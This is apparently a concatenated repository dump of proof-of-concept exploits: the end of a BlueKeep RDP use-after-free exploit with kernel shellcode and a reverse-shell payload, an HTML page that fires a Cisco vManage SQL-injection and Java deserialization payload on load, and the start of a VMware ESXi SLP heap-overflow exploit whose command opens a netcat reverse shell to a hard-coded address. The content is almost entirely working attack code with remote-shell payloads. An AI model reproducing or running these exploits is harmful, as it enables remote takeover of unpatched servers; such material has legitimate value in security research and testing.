296 |     #kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xe6\x72\xb2\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3'
297 |     return kshellcode
298 | 
299 | def makeKernelUserPayload(ring3, size):
300 |    shellcode = makeKernelShellcode() + ring3
301 |    if (size - len(shellcode)) > 0:
302 |       shellcode += '\x90' * (size - len(shellcode))
303 |       return shellcode
304 |    else:
305 |       print '[**] ring3 shellcode size exceeds maxmium supporting length [**]'
306 |       exit(1)
307 | 
308 | 
309 | if __name__ == "__main__": 
310 |   
311 |     channels = ['rdpdr', 'MS_T120', 'rdpsnd']
312 |     totalMCSChannels = len(channels) + 2
313 |     origId = 1003
314 |     lhost = '192.168.0.175'
315 |     lport = 4444
316 |     rhost = argv[1]
317 |     rport = 3389
318 | 
319 |     print
320 |     print '[*] CVE-2019-0708 (BlueKeep) RCE Exploit [*]'
321 |     print '@straight_blast ; straightblast426@gmail.com'
322 |     print
323 | 
324 |     print '[-] Establishing Connection'
325 | 
326 |     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
327 |     s.connect((rhost, rport))
328 | 
329 |     data = sendX224Request(s)
330 |     #print "x224 Connection Response: " + data.encode('hex')
331 |     
332 |     ctx = SSL.Context(SSL.TLSv1_METHOD)
333 |     tls = SSL.Connection(ctx, s)
334 |     tls.set_connect_state()
335 |     tls.do_handshake()
336 |     
337 |     data = sendMCSGCC(tls, channels)
338 |     #print "MCS GCC Response: " + data.encode('hex')
339 | 
340 |     sendErectDomainRequest(tls)
341 |     
342 |     data = sendAttachUserRequest(tls)
343 |     #print "Attach User Response: " + data.encode('hex')
344 |     
345 |     initiator = unpack('>I', data[-2:].rjust(4,'\x00'))[0]
346 |     #print "Initiator: " + str(initiator)
347 | 
348 |     for i in xrange(totalMCSChannels):
349 |         data = sendChannelJoinRequest(tls, initiator, origId + i)
350 |         #print "Join Confirm Response (" + str(origId + i) + "): " + data.encode('hex')
351 | 
352 |     data = sendClientInfo(tls)
353 |     #print "Error Alert: " + data.encode('hex')
354 | 
355 |     data = tls.recv(8000)
356 |     #print "Demand Active PDU: " + data.encode('hex')
357 |     sendConfirmActivePDU(tls, initiator, origId + totalMCSChannels - 1)
358 |  
359 |     data = sendRdpPduType_Synchronize(tls, initiator, origId + totalMCSChannels - 1)
360 |     #print "RDP PDU Type: Synchronize Response: " + data.encode('hex')
361 | 
362 |     data = sendRdpPduType_Control_Action_Cooperate(tls, initiator, origId + totalMCSChannels - 1)
363 |     #print "RDP PDU Type: Control, Action: Cooperate Response: " + data.encode('hex')
364 |     
365 |     data = sendRdpPduType_Control_Action_RequestControl(tls, initiator, origId + totalMCSChannels - 1)
366 |     #print "RDP PDU Type: Control, Action: Granted Control Response: " + data.encode('hex')
367 |     
368 |     data = sendRdpPduType_FontList(tls, initiator, origId + totalMCSChannels - 1)
369 |     #print "RDP PDU Type: Fontmap Response: " + data.encode('hex')
370 | 
371 |     data = readFromVirtualChannel(tls)
372 |     #print "RDPDR and RDPSND are now loaded"
373 |     
374 |     print '[-] Connection Stablized'
375 | 
376 |     print '[-] Freeing Object'
377 |     free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7
378 |     sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005)
379 |     
380 |     print '[-] Taking Over Freed Object And Pool Spraying'
381 | 
382 |     pool_size = 0x630
383 |     
384 |     pool_address = 0xfffffa80055ff980
385 |     #pool_address = 0xfffffa800b5ff980
386 | 
387 |     pool_storage_address = pool_address + 0x48
388 |     pool_shellcode_address = pool_address + 0x50
389 | 
390 |     fake_channel_object = '\x00' * 200 + pack('<Q', pool_storage_address) + '\x00' * 88
391 | 
392 |     # Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python
393 |     reverse_shell = '\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00' + pack('>H', lport) + socket.inet_aton(lhost) + '\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5'
394 | 
395 |     shellcode = makeKernelUserPayload(reverse_shell, pool_size)
396 | 
397 |     payload = pack('<Q', pool_shellcode_address) + shellcode
398 |     for i in xrange(0x1000):
399 |        sendToVirtualChannel(tls, fake_channel_object, initiator, 1006)
400 |        for i in xrange(10):
401 |           sendToVirtualChannel(tls, payload, initiator, 1006)
402 | 
403 |     #raw_input('Press Enter To Trigger UAF')
404 |     print '[-] Triggering Used After Free'
405 |     print
406 |     print '[*] Enjoy Shell :) [*]'
407 |     print 
408 |     tls.close()
409 | 
410 | 
411 |     
412 | 
413 |  
414 | 
415 | 
416 | 
417 | 
418 | 
419 | 


--------------------------------------------------------------------------------
/CVE-2020–3387.html:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <head><title>Cisco SD-WAN vManage 19.2.2 Remote Root Shell PoC</title></head>
 3 | <script src="text/javascript">
 4 |    /*
 5 |     This PoC exploits CVE-2020–3387 through CVE-2020–3437
 6 |    */
 7 |    function exploit() {
 8 |       var payload = new Image(1,1);
 9 |       payload.src = 'https://<target>/dataservice/device/counters?deviceId=-1%27%20return%200%20as%20%60system-ip%60%20Union%20Match(s)%20set%20s%2esamlMessage%3d%22aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000037372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd85020008420006666f726d617449000a6c696e654e756d6265724c000f636c6173734c6f616465724e616d6571007e00054c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00054c000a6d6f64756c654e616d6571007e00054c000d6d6f64756c6556657273696f6e71007e00057870010000004a74000361707074002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a65637470707371007e000b010000002c71007e000d71007e000e71007e000f71007e001070707371007e000b010000003171007e000d74001979736f73657269616c2e47656e65726174655061796c6f616474001447656e65726174655061796c6f61642e6a6176617400046d61696e70707372001f6a6176612e7574696c2e436f6c6c656374696f6e7324456d7074794c6973747ab817b43ca79ede020000787078737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e002f00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e002f7371007e00287571007e002c00000002707571007e002c00000000740006696e766f6b657571007e002f00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002c7371007e00287571007e002c00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400032d63707401a16563686f202d6e6520276332563049475675646d6c79623235745a5735304946565452564939636d39766441706b5a575a70626d5567636d397664416f674943426d615735706332674b494341676332563049435279595867394d416f674943426a62323530615735315a51706c626d514b596e4a6c595773675a32563064576c6b436d4e7662573168626d527a4369416749484a766233514b5a57356b436d4a795a5746724947646c644764705a41706a623231745957356b63776f674943427962323930436d56755a4170796457346750434176644731774c325a766277707864576c3043673d3d27207c20626173653634202d64203e202f746d702f726f6f74203b206563686f2027646e4e6f5a577873436d4a68633267674c576b67506959674c32526c64693930593341764d5441754d6a41754d5449774c6a49774d43387a4d544d7a4e7941775069597843673d3d27207c20626173653634202d64203e202f746d702f666f6f203b20676462202d2d6261746368202d2d636f6d6d616e643d2f746d702f726f6f74202f7573722f62696e2f636f6e66645f636c69740004657865637571007e002f000000017671007e00407371007e0024737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878%22%20return%20%27Pwned%27%20as%20%60system-ip%60%2f%2f';
10 |       document.body.appendChild(payload);
11 |    }
12 |    window.onload = function() {
13 |       setInterval(exploit, 1);
14 |    }
15 | </script>
16 | <body>
17 | </body>
18 | </html>
19 | 


--------------------------------------------------------------------------------
/CVE-2021-21974.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python3
  2 | ######################################################################################################
  3 | # CVE-2021-21974 PoC Exploit
  4 | # By: Johnny Yu (@staight_blast)
  5 | # Tested against:
  6 | # [1] VMware ESXi 6.7.0 build-14320388 ; VMware ESXi 6.7.0 Update 3
  7 | # [2] VMware ESXi 6.7.0 build-16316930 ; VMware ESXi 6.7.0 Update 3
  8 | ######################################################################################################
  9 | import sys
 10 | import time
 11 | import trace
 12 | import queue
 13 | import struct
 14 | import socket
 15 | import threading
 16 | 
 17 | IP = sys.argv[1]
 18 | #shell_cmd = b'echo "pwned" > /tmp/pwn'
 19 | shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'
 20 | 
 21 | DEBUG = False
 22 | PRINT = True
 23 | LOG_LEAK = False
 24 | 
 25 | T = 0.3 #0.4
 26 | PORT = 427
 27 | COMMAND = 'command'
 28 | MARKER = b'\xef\xbe\xad\xde'
 29 | 
 30 | LISTEN = 0x65
 31 | STREAM_READ = 0x6c
 32 | STREAM_WRITE = 0x6f
 33 | STREAM_READ_FIRST = 0x6d
 34 | 
 35 | LISTEN_FD = 0x8
 36 | 
 37 | leaked_data = b'\x00\x00\x00\x00'
 38 | leaked_values = None
 39 | 
 40 | class SLP_Thread(threading.Thread):
 41 |     def __init__(self, input_q):
 42 |        super(SLP_Thread, self).__init__()
 43 |        self.input_q = input_q
 44 | 
 45 |     def run(self):
 46 |        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 47 |        while True:
 48 |           try:
 49 |              
 50 |              data = self.input_q.get(True, 0.05)
 51 |              name = threading.current_thread().name.replace('Thread','SLP Client') 
 52 |              
 53 |              if 'connect' == data[COMMAND]:
 54 |                 if PRINT:
 55 |                    print('[' + name + '] connect')
 56 |                 s.connect((IP, PORT)) 
 57 |              
 58 |              elif 'service request' == data[COMMAND]:
 59 |                 arg1 = data['arg1'] 
 60 |                 outgoing = self.generate_srv_rqst(arg1)
 61 |                 if PRINT:
 62 |                    print('[' + name + '] service request')
 63 |                 s.send(outgoing)
 64 |                 d = s.recv(1024)
 65 |                 if PRINT:
 66 |                    print('[' + name + '] recv: ', d)
 67 |  
 68 |              elif 'directory agent advertisement' == data[COMMAND]:
 69 |                 arg1 = data['arg1']
 70 |                 arg2 = data['arg2']
 71 |                 outgoing = self.generate_da_advert(arg1, arg2)
 72 |                 if PRINT:
 73 |                    print('[' + name + '] directory agent advertisement')
 74 |                 s.send(outgoing)
 75 |                 d = s.recv(1024)
 76 |                 if PRINT:
 77 |                    print('[' + name + '] recv: ', d)
 78 |        
 79 |              elif 'service registration' == data[COMMAND]:
 80 |                arg1 = data['arg1']
 81 |                arg2 = data['arg2']
 82 |                arg3 = data['arg3']
 83 |                arg4 = data['arg4']       
 84 |                outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
 85 |                if PRINT:
 86 |                   print('[' + name + '] service registration')
 87 |                s.send(outgoing)
 88 |                d = s.recv(1024)
 89 |                if PRINT:
 90 |                   print('[' + name +'] recv: ', d)
 91 | 
 92 |              elif 'attribute request' == data[COMMAND]:
 93 |                arg1 = data['arg1']
 94 |                arg2 = data['arg2']
 95 |                outgoing = self.generate_attrib_rqst(arg1)
 96 |                if PRINT:
 97 |                   print('[' + name + '] attribute request')
 98 |                s.send(outgoing)
 99 |                output = b''
100 |                for i in range(0, arg2):
101 |                   output += s.recv(1)
102 |                if PRINT:
103 |                   print('[' + name + '] recv: ', output)
104 |              
105 |              elif 'recv' == data[COMMAND]:
106 |                 output = b''
107 |                 arg1 = data['arg1']
108 |                 arg2 = data['arg2']
109 |                 for i in range(0, arg2):
110 |                    output += s.recv(1)
111 |                 if arg1:
112 |                    print('[' + name + '] recv: ', output)
113 |              
114 |              elif 'leak data' == data[COMMAND]:
115 |                 outgoing = b''
116 |                 incoming = b''
117 |                 arg1 = data['arg1']   
118 |   
119 |                 if arg1 > 0:
120 |                 
121 |                    for i in range(0, arg1):
122 |                       outgoing += s.recv(1)
123 | 
124 |                    #print(outgoing.hex())
125 | 
126 |                    global leaked_data
127 |                    leaked_data = outgoing            
128 |  
129 |                 else:
130 | 
131 |                    while True:
132 |                       incoming = s.recv(1)
133 |                       outgoing += incoming
134 |                       if MARKER in outgoing:
135 |                          break
136 |                    
137 |                    global leaked_values
138 |                    leaked_values = []
139 | 
140 |                    try:
141 |                       for i in range(0, len(outgoing), 4):
142 |                          v = struct.unpack('<I', outgoing[i : i+4])[0]
143 |                          leaked_values.append(v)
144 |                    except:
145 |                       pass
146 | 
147 |              elif 'close' == data[COMMAND]:
148 |                 if PRINT:
149 |                    print('[' + name + '] close')
150 |                 s.close()
151 |                 break
152 |        
153 |           except queue.Empty:
154 |              continue 
155 | 
156 |     def generate_slp_header(self, payload, functionid, xid, extoffset):
157 |        packetlen = len(payload) + 16
158 |        if extoffset:
159 |           extoffset += 16
160 |        header = bytearray([2, functionid])
161 |        header.extend(struct.pack('!IH', packetlen, 0)[1:])
162 |        header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
163 |        header.extend(b'en')
164 |        return header
165 | 
166 |     def generate_srv_rqst(self, data):
167 |        srvtype = prlist = scopes = predicate = b''
168 |        spi = data
169 |        payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
170 |        payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
171 |        payload.extend(struct.pack('!H', len(scopes)) + scopes)
172 |        payload.extend(struct.pack('!H', len(predicate)) + predicate)
173 |        payload.extend(struct.pack('!H', len(spi)) + spi)
174 |        header = self.generate_slp_header(payload, 1, 5, 0)
175 |        return header + payload
176 | 
177 |     def generate_da_advert(self, url, scopes):
178 |        error_code = 0
179 |        boot_time = int(time.time())
180 |        attributes = spi = auth_blocks = b''
181 |        payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
182 |        payload.extend(struct.pack('!H', len(url)) + url)
183 |        payload.extend(struct.pack('!H', len(scopes)) + scopes)
184 |        payload.extend(struct.pack('!H', len(attributes)) + attributes)
185 |        payload.extend(struct.pack('!H', len(spi)) + spi)
186 |        payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
187 |        header = self.generate_slp_header(payload, 8, 0, 0)
188 |        return header + payload
189 |    
190 |     def generate_url_entry(self, url):
191 |        lifetime = 2 * 60 #seconds
192 |        auth_blocks = b''
193 |        payload = bytearray([0])
194 |        payload.extend(struct.pack('!H', lifetime))
195 |        payload.extend(struct.pack('!H', len(url)) + url)
196 |        payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
197 |        return payload
198 |    
199 |     def generate_srv_reg(self, url, srvtype, scopes, attributes):
200 |        attrib_auth_blocks = b''
201 |        url_entry = self.generate_url_entry(url)
202 |        payload = bytearray(url_entry)
203 |        payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
204 |        payload.extend(struct.pack('!H', len(scopes)) + scopes)
205 |        payload.extend(struct.pack('!H', len(attributes)) + attributes)
206 |        payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
207 |        header = self.generate_slp_header(payload, 3, 20, 0)
208 |        return header + payload
209 |    
210 |     def generate_attrib_rqst(self, url):
211 |        scopes = b'DEFAULT'
212 |        prlist = tags = spi = b''
213 |        payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
214 |        payload.extend(struct.pack('!H', len(url)) + url)
215 |        payload.extend(struct.pack('!H', len(scopes)) + scopes)
216 |        payload.extend(struct.pack('!H', len(tags)) + tags)
217 |        payload.extend(struct.pack('!H', len(spi)) + spi)
218 |        header = self.generate_slp_header(payload, 6, 12, 0)
219 |        return header + payload
220 | 
221 | def close():
222 |    time.sleep(T)
223 |    return {'command' : 'close'}
224 | 
225 | def connect():
226 |    time.sleep(T)
227 |    return {'command' : 'connect'}
228 | 
229 | def service_request(arg1):
230 |    time.sleep(T)
231 |    return {'command' : 'service request', 'arg1' : arg1}
232 | 
233 | def da_advert_request(arg1, arg2):
234 |    time.sleep(T)
235 |    return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}
236 | 
237 | def service_registration(arg1, arg2):
238 |    time.sleep(T)
239 |    return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}
240 | 
241 | def attribute_request(arg1, arg2):
242 |    time.sleep(T)
243 |    return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}
244 | 
245 | def leak_data(arg1 = -1):
246 |    time.sleep(T)
247 |    return {'command' : 'leak data', 'arg1': arg1}
248 | 
249 | def overflow_and_extend(size, flag):
250 |    arg1 = b'A' * 24
251 |    arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
252 |    return da_advert_request(arg1, arg2)
253 | 
254 | def update_target_slpdsocket(fd, size, state):
255 |    payload  = b'\xd0\x00\x00\x00'
256 |    payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
257 |    payload += struct.pack('<I', fd)
258 |    payload += b'\x00' * 4
259 |    payload += struct.pack('<I', state)
260 |    payload += b'\x00' * 12
261 |    payload += b'\x02\x00\x00\x00'
262 |    payload += b'\x7f\x00\x00\x01'
263 |    payload += b'\x00' * 8
264 |    filler = b'A' * (size - 0x76)
265 |    return service_request(filler + payload)
266 | 
267 | def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
268 |    payload  = struct.pack('<I', send_buffer_size + flag)
269 |    payload += b'\x00' * 8
270 |    payload += struct.pack('<I', send_buffer_size - 0x20)
271 |    payload += data #b'\x00' * 2
272 |    filler = b'A' * (size - 0x56)
273 |    return service_request(filler + payload)
274 | 
275 | def update_target_send_buffer(size, send_buffer_size, flag, address, length):
276 |    payload = struct.pack('<I', send_buffer_size + flag)
277 |    payload += b'\x00' * 8
278 |    payload += struct.pack('<I', send_buffer_size - 0x20)
279 |    payload += struct.pack('<I', address) * 2
280 |    payload += struct.pack('<I', address + length)
281 |    payload += b'\x00' * 0x10
282 |    filler = b'A' * (size - 0x66)
283 |    return service_request(filler + payload)
284 | 
285 | def update_target_recv_buffer(size, address):
286 |    size += 0x1a
287 |    payload  = b'\x40\x00\x00\x00'
288 |    payload += b'\x00' * 8
289 |    payload += struct.pack('<I', size)
290 |    payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)     
291 |    filler = b'A' * 0xca
292 |    return service_request(filler + payload)
293 | 
294 | def block(size):
295 |    if size > 0x38:
296 |       size = size - 0x38
297 |    else:
298 |       size = 1
299 |    return service_request(b'A' * size)
300 | 
301 | def breakpoint():
302 |    time.sleep(T)
303 |    input('breakpoint')
304 | 
305 | def exploit():
306 |    count = 60
307 |    requests = [0]
308 |    slpclients = [0]
309 | 
310 |    global leaked_data
311 |    global leaked_values
312 | 
313 |    requests.extend([queue.Queue() for i in range(1, count)])
314 |    slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])
315 | 
316 |    for i in range(1, count):
317 |       slpclients[i].start()
318 | 
319 |    requests[1].put(connect())
320 |    requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))
321 | 
322 |    requests[2].put(connect())
323 |    requests[3].put(connect())
324 |    requests[4].put(connect())
325 |    requests[5].put(connect())
326 | 
327 |    requests[2].put(block(0x40))
328 |    requests[3].put(block(0x40))
329 |    requests[4].put(block(0x40))
330 |    requests[5].put(block(0x40))
331 | 
332 |    requests[6].put(connect())
333 |    requests[6].put(block(0x810))
334 |    requests[7].put(connect())
335 |    requests[8].put(connect())
336 |    requests[6].put(close())
337 |    requests[9].put(connect())
